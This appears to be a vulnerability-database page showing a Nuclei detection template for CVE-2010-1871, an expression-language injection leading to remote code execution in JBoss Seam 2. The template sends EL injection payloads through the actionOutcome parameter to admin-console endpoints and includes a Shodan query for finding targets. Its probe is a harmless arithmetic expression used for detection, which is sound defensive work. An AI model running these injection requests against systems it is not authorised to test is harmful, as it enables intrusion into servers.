CVE-2010-1871: JBoss Seam 2 - Expression Language Injection (Remote Code Execution)

2026-11-29 PoC Public

Description

JBoss Seam 2 before 2.2.1.CR2 evaluates the value of the 'actionOutcome' request parameter as a JBoss EL expression while resolving the JSF navigation outcome (Pages.callAction -> FacesManager.interpolateAndRedirect). A remote, unauthenticated attacker can inject an EL expression via actionOutcome on any Seam *.seam endpoint (such as the JBoss AS admin-console) to execute arbitrary code when the Java Security Manager is not enabled. This template proves EL evaluation safely with a randomized arithmetic expression; the computed product is reflected into the 302 redirect Location header. EL evaluation - and therefore this detection - occurs even when a Security Manager blocks the command-execution path.

Details

CVE
CVE-2010-1871 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2010-1871

info:
  name: JBoss Seam 2 - Expression Language Injection (Remote Code Execution)
  author: DhiyaneshDk
  severity: high
  description: |
    JBoss Seam 2 before 2.2.1.CR2 evaluates the value of the 'actionOutcome' request parameter as a JBoss EL expression while resolving the JSF navigation outcome (Pages.callAction -> FacesManager.interpolateAndRedirect). A remote, unauthenticated attacker can inject an EL expression via actionOutcome on any Seam *.seam endpoint (such as the JBoss AS admin-console) to execute arbitrary code when the Java Security Manager is not enabled. This template proves EL evaluation safely with a randomized arithmetic expression; the computed product is reflected into the 302 redirect Location header. EL evaluation - and therefore this detection - occurs even when a Security Manager blocks the command-execution path.
  impact: |
    Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Configure Java Security Manager properly or update to a patched version if available.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1871
    - https://access.redhat.com/security/cve/CVE-2010-1871
    - https://www.exploit-db.com/exploits/36653
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2010-1871
    epss-score: 0.92883
    epss-percentile: 0.99893
    cwe-id: CWE-917
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.title:"Welcome to JBoss"
  tags: cve,cve2010,jboss,seam,el,injection,rce,kev,vkev

variables:
  first: "{{rand_int(1000, 9999)}}"
  second: "{{rand_int(1000, 9999)}}"
  marker: "{{rand_text_alpha(8)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin-console/login.seam?actionOutcome=/success.xhtml%3F{{marker}}%3D%23%7B{{first}}*{{second}}%7D"
      - "{{BaseURL}}/admin-console/index.seam?actionOutcome=/success.xhtml%3F{{marker}}%3D%23%7B{{first}}*{{second}}%7D"
      - "{{BaseURL}}/seam-booking/home.seam?actionOutcome=/success.xhtml%3F{{marker}}%3D%23%7B{{first}}*{{second}}%7D"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "to_number(reflected) == to_number(first) * to_number(second)"

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        name: reflected
        part: header
        internal: true
        group: 1
        regex:
          - '\?[a-zA-Z]+=([0-9]+)'
# digest: 4b0a00483046022100b1defdbd0461f2e26a55261f410a281797084212fe1a98dcad1cae0d1c7b1005022100a01df9e177d9ba00fb2c6f89e862a070597454ebf0dc118e6367fcf1caf6b35f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life